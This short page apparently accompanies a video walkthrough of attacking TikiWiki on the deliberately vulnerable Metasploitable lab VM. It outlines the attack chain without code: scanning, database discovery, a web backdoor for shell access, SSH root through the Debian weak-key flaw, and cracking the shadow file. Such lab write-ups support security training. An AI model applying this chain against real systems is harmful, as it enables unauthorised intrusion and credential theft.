Metasploitable - TikiWiki

This video demonstrates an attack on the TikiWiki service on the metasploitable hackable box.

"Metasploitable is an Ubuntu 8.04 server install on a VMWare 6.5 image. A number of vulnerable packages are included, including an install of tomcat 5.5 (with weak credentials), distcc, tikiwiki, twiki, and an older mysql." - blog.metasploit.com

Method

  • Use Nmap to scan the network (gathering information)
  • Use Nmap to do a more detailed scan of the target (gathering information)
  • Use Metasploit to discover the database details (gaining access)
  • [*] Can also use an exploit (gaining access)
  • Search the database from the account information (gathering information and gaining access)
  • [*] Use a web based backdoor to create shell access (remote access)
  • Automate shell access via Metasploit (remote access)
  • I cheated a little bit here as I had used nessus in a previous scan to discover "Debian OpenSSH/OpenSSL Package Random Number Generator Weakness"
  • Via the payload it is possible to capture the SSH Key and compare it against the weak keys Just like pWnOS (escalating privileges)
  • Connect via SSH as root (complete access)
  • Prove complete access by cracking the shadow file with John The Ripper (then prove it by connecting via SSH using one of the newly acquired accounts)
